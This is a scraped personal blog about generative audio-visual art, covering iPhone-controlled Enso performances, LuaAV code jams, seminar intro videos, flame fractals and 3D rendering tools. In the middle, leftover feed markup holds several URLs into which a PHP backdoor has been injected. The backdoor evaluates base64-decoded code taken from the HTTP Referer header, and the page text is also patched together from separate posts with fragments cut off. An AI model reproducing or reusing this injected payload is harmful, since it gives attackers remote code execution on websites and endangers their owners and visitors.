Enso v 5 from Aaron McLeran

Last week I had two collaborative shows with computer music composer of “noise”, Zbigniew Karkowski. One show was at Terminal, a warehouse that does many underground music shows in Oakland, CA. The other was at the Biko garage in Goleta, CA, a similar venue for the underground music scene.

The collaboration was an improvisational performance where Zbigniews live-performed music was modified by live algorithmic processing of the audio. The algorithmic parameters were each controlled via accelerometer data from an iPhone. The visuals were also generated live and controlled from the same accelerometer data.

The video posted here is a short sample of the performance. If you’ve been on my blog before, you might have seen some posts about a piece of mine called, “Enso”. There’s more about the concept of Enso I’d like to write more about, but for now, it’s relevant to know that this collaborative performance was yet another iteration on this particular series of pieces. What’s important to know from the conceptual core of the piece is that I wrote the processing and graphical algorithms from scratch the weekend before the performance.

Unfortunately, I did not have a chance to record the actual live-screen capture of the performance (was worried about computer performance and stability in a live show), but I reproduced shorter demonstration of the performance at home using Zbigniew’s music. Stay tuned for more music and visuals from this collaboration in the future.

I also added an interface for OSC control. This video was a live screen-cap of an iPhone performance using the $5 app oscemote.

This is a generative audio-visual piece created in collaboration between myself, Graham Wakefield and Wes Smith.  It was done after a long and grueling day consiting of a single 6-hour meeting about ways to integrate software systems currently being used in research in MAT’s Allosphere.

In the process of working on a basic hello-world type demonstration script (to introduce the basic features of LuaAV), we ended up code-jamming for several hours and actually made something worthy of Brian Eno. Graham and I are going to do a real-time code jam with the script at the End-of-year show at MAT [ed note: this went really well. I'll be posting the code of this jam shortly].

For the curious, the super messy (it was a code jam!) LuaAV script is here.

These are early versions of a piece I am going to perform at MAT’s End of the year show. It currently looks quite different, but I haven’t made any new video captures of it. I figured I should post the old version up here now and then in a week or so when I get around to doing a new video capture, you’ll be able to compare the different versions. This version is largely non-interactive and just “runs”. It’s based on a variety of generative audio transformations of simple input sinusoids.  The graphics are directly linked to the same control data which triggers the audio events. This allows for a tight synchronization of audio and graphics.

I called it Enso in reference to the Zen circle. The Zen circle is a symbol of everything and nothing, the drawing of which, directly represents the state of mind of the artist. The circle is drawn in one stroke with no revisions.

Pehr and I worked on a very productive collaboration in the last few weeks and managed to scramble together a pretty awesome draft of a Media Arts and Technology Seminar Video Intro system. Our colleague, Andres Burbano, is organizing videos of our seminar presentations, which are usually on Fridays. He approached myself and Pehr about doing an intro tag for the seminars for when they are presented online. And naturally, instead of just making a single video, we elected to create a generative system that creates unlimited versions. Though we are both swamped with our respective classes/projects/jobs, we managed to get something pretty interesting together.

Aesthetically, we arrived at this sound/look via a series of iterations. The department logo is pretty much blocks (see?) so we riffed on that. I made some music which had a glitchy, computer-y, yet playful sound and the graphics converged on an equally glitchy, computer-y, playful aesthetic. As you can see from Pehr’s other (prolific!) work, he’s a big fan of lots of color.

]]> http://www.digitalpoesis.com/2009/05/21/mat-intro-videos/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 http://www.digitalpoesis.com/2009/05/13/some-more-fractals/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://www.digitalpoesis.com/2009/05/13/some-more-fractals/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 14 May 2009 00:20:06 +0000 admin http://www.digitalpoesis.com/?p=73

So I made some more fractals for fun in the past few days. Seeing those old images from a couple years ago got me wanting to make some more. So I found a version of the program, Apophysis, ported to Java, which is called Apophysis-j. It’s a strange program to use as it’s not immediately clear what all the variation parameters are actually doing to the image, but with some effort, you can get pretty cool looking images.

These images were made without scripting. None of the scripts that have been written in the Apophysis community work for the Apophysis-j version because the guy who ported it,  Jean-Francois Bouzereau, decided to change the scripting language to javascript rather than pascal. 

These are a couple of the many images I made a couple of years ago when I first got into Flame Fractals. I never did get obsessed with them as much as some people are, but they can produce startling images. The

Google “flame fractal” and you’ll see what I mean. But I still like these and will probably get back into them at some point, hopefully scripting them to animate to music. So many things to do, so little time.

This is my first 3D generative art post. These images were created from two tools. The better-looking images (the cubes) were created using a combination of StructureSynth and Blender. The other images (the icy landscape and the dark triangular texture) were created using a combination of Google SketchUp and Blender. The later was my first images created using Blender after spending a weekend reading tutorials, etc. The StructureSynth images were done with a better concept of rendering techniques, lighting, and texture.

StructureSynth is the 3D analog to ContextFree (mentioned in an earlier post) though it is currently in early development and is quiet buggy. To get the generated 3D images into a format readable for Blender was also not built-in. It involved finding a custom python script for blender which translates the StructureSynth object export into Blender. Though a newer environment still under development,  StructureSynth was easier to use than ContextFree though it often crashed on me. One nice improvement was the use of various preprocessor macros which, for example, define various randomization palletes or other render settings. Since it is 3D, there is a significant lag in generation as well so iterating through variations was more time-consuming. Overall, a really impressive system.

This is my first post of generative 2D art. The images here were created using the ContextFree programming environment. From ContextFree:

Context Free is a program that generates images from written instructions called a grammar. The program follows the instructions in a few seconds to create images that can contain millions of shapes.

The grammar instructions are a bit strange at first, but you can get the hang of it after a few hours. The most notable issue I found was the lack of true functions. All instructions are wrapped inside Rules. Rules can be overloaded (i.e. many with the same name). The parser then picks which rule to use at any given iteration randomly based on a user-supplied weight. Everything is based on this — including color choices, sizes, etc. So for example, to get a random color, you must hand-code, say, a dozen functions which are nearly the same, but with different colors.  But this awkwardness, along with its other idiosyncrasies, are easily overcome.

Since most of my generative art, until quite recently, has been musical, this method has sparked some new ideas for an interface for music generation. I’ve seen similar projects, which use Constraint-Satisfaction Problems, such as Torsten Anders’ Strasheela, but nothing quite as interesting and nothing quite as easy to develop and explore variation. There is a fundamental difference between graphics and music, of course, but it would be an interesting project to develop a similar script-based generative variation environment for music, at least for sound design. I’m thinking the inchoate LuaAV might be the way to go for such a thing.